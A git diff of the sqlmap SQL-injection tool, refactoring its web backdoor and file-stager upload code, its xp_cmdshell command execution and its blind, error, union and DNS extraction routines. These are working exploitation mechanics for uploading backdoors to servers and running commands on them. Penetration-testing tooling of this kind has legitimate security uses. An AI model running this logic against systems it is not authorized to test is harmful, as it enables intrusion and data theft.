Registry._initVars(self, regKey, regValue, parse=parse) self._createRemoteBatchFile() @@ -90,7 +91,7 @@ class Registry: return data def addRegKey(self, regKey, regValue, regType, regData): - self._operation = "add" + self._operation = REGISTRY_OPERATION.ADD Registry._initVars(self, regKey, regValue, regType, regData) self._createRemoteBatchFile() @@ -103,7 +104,7 @@ class Registry: self.delRemoteFile(self._batPathRemote) def delRegKey(self, regKey, regValue): - self._operation = "delete" + self._operation = REGISTRY_OPERATION.DELETE Registry._initVars(self, regKey, regValue) self._createRemoteBatchFile() diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 565926514..13ec70dfe 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.agent import agent +from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import isStackingAvailable @@ -146,6 +147,7 @@ class UDF: if len(self.udfToCreate) > 0: self.udfSetRemotePath() + checkFile(self.udfLocalFile) written = self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", forceCheck=True) if written is not True: diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 6972b9d0e..8fab16c3b 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -9,6 +9,7 @@ import os import posixpath import re import StringIO +import urlparse from tempfile import mkstemp @@ -17,8 +18,8 @@ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import extractRegexResult -from lib.core.common import getDirs -from lib.core.common import getDocRoot +from lib.core.common import getAutoDirectories +from lib.core.common import getManualDirectories from lib.core.common import getPublicTypeMembers from lib.core.common import getSQLSnippet from lib.core.common import getUnicode @@ -41,10 +42,12 @@ from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import PAYLOAD from lib.core.enums import WEB_API +from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request +from thirdparty.oset.pyoset import oset class Web: @@ -128,7 +131,7 @@ class Web: return False def _webFileInject(self, fileContent, fileName, directory): - outFile = posixpath.normpath("%s/%s" % (directory, fileName)) + outFile = posixpath.join(ntToPosixSlashes(directory), fileName) uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" @@ -194,165 +197,166 @@ class Web: self.webApi = choices[int(choice) - 1] break - kb.docRoot = arrayizeValue(getDocRoot()) - directories = sorted(getDirs()) + directories = list(arrayizeValue(getManualDirectories())) + directories.extend(getAutoDirectories()) + directories = list(oset(directories)) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) - stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) success = False - for docRoot in kb.docRoot: - if success: - break + for directory in directories: + if not directory: + continue - for directory in directories: - uriPath = "" + stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) + self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) - if not all(isinstance(_, basestring) for _ in (docRoot, directory)): - continue + uploaded = False + directory = ntToPosixSlashes(normalizePath(directory)) - directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/') - docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/') + if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): + directory = "/%s" % directory + else: + directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory - # '' or '/' -> 'docRoot' - if not directory: - localPath = docRoot - uriPath = '/' - # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' - elif not isWindowsDriveLetterPath(directory) and directory[0] != '/': - localPath = "%s/%s" % (docRoot, directory) - uriPath = "/%s" % directory - else: - localPath = directory - uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory + if not directory.endswith('/'): + directory += '/' - if docRoot in uriPath: - uriPath = uriPath.replace(docRoot, "/") - uriPath = "/%s" % normalizePath(uriPath) - else: - webDir = extractRegexResult(r"//[^/]+?/(?P.*)/.", conf.url) + # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method + infoMsg = "trying to upload the file stager on '%s' " % directory + infoMsg += "via LIMIT 'LINES TERMINATED BY' method" + logger.info(infoMsg) + self._webFileInject(stagerContent, stagerName, directory) - if webDir: - uriPath = "/%s" % webDir - else: - continue - - localPath = posixpath.normpath(localPath).rstrip('/') - uriPath = posixpath.normpath(uriPath).rstrip('/') - - # Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique - infoMsg = "trying to upload the file stager on '%s' " % localPath - infoMsg += "via LIMIT INTO OUTFILE technique" - logger.info(infoMsg) - self._webFileInject(stagerContent, stagerName, localPath) - - self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) - self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName) - self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/') + for match in re.finditer('/', directory): + self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) + self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) + debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl + logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" - # Fall-back to UNION queries file upload technique - if "sqlmap file uploader" not in uplPage: - warnMsg = "unable to upload the file stager " - warnMsg += "on '%s'" % localPath - singleTimeWarnMessage(warnMsg) + if "sqlmap file uploader" in uplPage: + uploaded = True + break - if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - infoMsg = "trying to upload the file stager on '%s' " % localPath - infoMsg += "via UNION technique" - logger.info(infoMsg) + # Fall-back to UNION queries file upload method + if not uploaded: + warnMsg = "unable to upload the file stager " + warnMsg += "on '%s'" % directory + singleTimeWarnMessage(warnMsg) - handle, filename = mkstemp() - os.fdopen(handle).close() # close low level handle (causing problems later) + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): + infoMsg = "trying to upload the file stager on '%s' " % directory + infoMsg += "via UNION method" + logger.info(infoMsg) - with open(filename, "w+") as f: - _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) - _ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath) - f.write(utf8encode(_)) + stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) + self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) - self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) + handle, filename = mkstemp() + os.fdopen(handle).close() # close low level handle (causing problems later) + + with open(filename, "w+") as f: + _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) + _ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) + f.write(utf8encode(_)) + + self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) + + for match in re.finditer('/', directory): + self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) + self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) + + debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl + logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" - if "sqlmap file uploader" not in uplPage: - continue - else: - continue + if "sqlmap file uploader" in uplPage: + uploaded = True + break - if "<%" in uplPage or "= maxLen: - self.xpCmdshellExecCmd(cmd) + self.xpCmdshellExecCmd(cmd.rstrip(" & ")) cmd = "" charCounter = 0 if cmd: - self.xpCmdshellExecCmd(cmd) + self.xpCmdshellExecCmd(cmd.rstrip(" & ")) def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): # When user provides DBMS credentials (with --dbms-cred) we need to @@ -226,12 +226,16 @@ class Xp_cmdshell: inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: - if not (output[0] or "").strip(): - output = output[1:] - elif not (output[-1] or "").strip(): - output = output[:-1] + _ = "" + lines = [line for line in flattenValue(output) if line is not None] - output = "\n".join(line for line in filter(None, output)) + for i in xrange(len(lines)): + line = lines[i] or "" + if line is None or i in (0, len(lines) - 1) and not line.strip(): + continue + _ += "%s\n" % line + + output = _.rstrip('\n') return output diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index e576366f8..5419bd9cb 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -40,6 +40,7 @@ from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR +from lib.core.settings import MAX_BISECTION_LENGTH from lib.core.settings import MAX_TIME_REVALIDATION_STEPS from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER @@ -58,6 +59,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None """ abortedFlag = False + showEta = False partialValue = u"" finalValue = None retrievedLength = 0 @@ -135,6 +137,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar + if length and length > MAX_BISECTION_LENGTH: + length = None + showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) @@ -194,7 +199,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None value are not equal there will be a deliberate delay). """ - if CHAR_INFERENCE_MARK not in payload: + if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) @@ -221,7 +226,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) - originalTbl = type(asciiTbl)(charTbl) + originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace @@ -250,7 +255,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None position = (len(charTbl) >> 1) posValue = charTbl[position] - if CHAR_INFERENCE_MARK not in payload: + if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) @@ -309,10 +314,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None errMsg = "invalid character detected. retrying.." logger.error(errMsg) - conf.timeSec += 1 - - warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') - logger.warn(warnMsg) + if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: + conf.timeSec += 1 + warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') + logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" @@ -340,10 +345,13 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if minValue == maxChar or maxValue == minChar: return None - # If we are working with non-continuous elements, set - # both minValue and character afterwards are possible - # candidates - for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): + for index in xrange(len(originalTbl)): + if originalTbl[index] == minValue: + break + + # If we are working with non-continuous elements, both minValue and character after + # are possible candidates + for retVal in (originalTbl[index], originalTbl[index + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) diff --git a/lib/techniques/brute/__init__.py b/lib/techniques/brute/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/techniques/brute/__init__.py +++ b/lib/techniques/brute/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/brute/use.py b/lib/techniques/brute/use.py index 6ba0ae808..4a1594590 100644 --- a/lib/techniques/brute/use.py +++ b/lib/techniques/brute/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -16,6 +16,7 @@ from lib.core.common import getPageWordSet from lib.core.common import hashDBWrite from lib.core.common import randomInt from lib.core.common import randomStr +from lib.core.common import readInput from lib.core.common import safeStringFormat from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming @@ -24,6 +25,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS +from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.settings import METADB_SUFFIX @@ -49,6 +51,18 @@ def _addPageTextWords(): return wordsList def tableExists(tableFile, regex=None): + if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: + warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) + warnMsg += "for common table existence check" + logger.warn(warnMsg) + + message = "are you sure you want to continue? [y/N] " + test = readInput(message, default="N") + kb.tableExistsChoice = test[0] in ("y", "Y") + + if not kb.tableExistsChoice: + return None + result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): @@ -102,7 +116,7 @@ def tableExists(tableFile, regex=None): if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): @@ -141,6 +155,18 @@ def tableExists(tableFile, regex=None): return kb.data.cachedTables def columnExists(columnFile, regex=None): + if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: + warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) + warnMsg += "for common column existence check" + logger.warn(warnMsg) + + message = "are you sure you want to continue? [y/N] " + test = readInput(message, default="N") + kb.columnExistsChoice = test[0] in ("y", "Y") + + if not kb.columnExistsChoice: + return None + if not conf.tbl: errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) @@ -198,11 +224,11 @@ def columnExists(columnFile, regex=None): if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): - status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() @@ -231,9 +257,9 @@ def columnExists(columnFile, regex=None): result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: - columns[column] = 'numeric' + columns[column] = "numeric" else: - columns[column] = 'non-numeric' + columns[column] = "non-numeric" kb.data.cachedColumns[conf.db] = {conf.tbl: columns} diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 260849bca..1d8b8c569 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 6f0bbc510..8b09335bd 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -70,7 +70,7 @@ def dnsUse(payload, expression): if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) - query = agent.suffixQuery(query) + query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) @@ -90,13 +90,15 @@ def dnsUse(payload, expression): else: break + output = decodeHexValue(output) if conf.hexConvert else output + kb.dnsMode = False if output is not None: retVal = output if kb.dnsTest is not None: - dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) + dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 8256d5c24..813a764c2 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -35,6 +35,7 @@ from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS +from lib.core.enums import HTTP_HEADER from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH @@ -73,7 +74,7 @@ def _oneShotErrorUse(expression, field=None): try: while True: check = "%s(?P.*?)%s" % (kb.chars.start, kb.chars.stop) - trimcheck = "%s(?P.*?)[^<]*)" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) @@ -99,11 +100,14 @@ def _oneShotErrorUse(expression, field=None): incrementCounter(kb.technique) + if page and conf.noEscape: + page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) + # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ - extractRegexResult(check, listToStrValue(headers.headers \ + extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ @@ -114,7 +118,7 @@ def _oneShotErrorUse(expression, field=None): output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(trimcheck, listToStrValue(headers.headers \ + or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ @@ -126,6 +130,16 @@ def _oneShotErrorUse(expression, field=None): warnMsg += safecharencode(trimmed) logger.warn(warnMsg) + if not kb.testMode: + check = "(?P.*?)%s" % kb.chars.stop[:2] + output = extractRegexResult(check, trimmed, re.IGNORECASE) + + if not output: + check = "(?P[^\s<>'\"]+)" + output = extractRegexResult(check, trimmed, re.IGNORECASE) + else: + output = output.rstrip() + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output @@ -267,7 +281,7 @@ def errorUse(expression, dump=False): # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) - if " ORDER BY " in expression.upper(): + if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 48325b444..b39bd6b5a 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -187,7 +187,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters @@ -205,7 +205,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") if not all(_ in content for _ in (phrase, phrase2)): - vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) @@ -221,7 +221,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" logger.warn(warnMsg) - vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates) + vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates, False) unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() @@ -278,7 +278,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) test = readInput(message, default="Y") if test[0] not in ("y", "Y"): warnMsg += "usage of option '--union-char' " - warnMsg += "(e.g. --union-char=1) " + warnMsg += "(e.g. '--union-char=1') " else: conf.uChar = kb.uChar = str(randomInt(2)) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) @@ -288,7 +288,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) warnMsg += "and/or try to force the " else: warnMsg += "forcing the " - warnMsg += "back-end DBMS (e.g. --dbms=mysql) " + warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " if not all([validPayload, vector]) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 55ed7d412..034223c52 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -44,6 +44,7 @@ from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData @@ -51,6 +52,7 @@ from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from thirdparty.odict.odict import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as union data is stored raw unconverted @@ -65,6 +67,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): # Forge the union SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] + kb.forcePartialUnion = vector[8] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] payload = agent.payload(newValue=query, where=where) @@ -180,6 +183,7 @@ def unionUse(expression, unpack=True, dump=False): # NOTE: we assume that only queries that get data from a table can # return multiple entries if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ + kb.forcePartialUnion or \ (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \ " FROM " in expression.upper() and 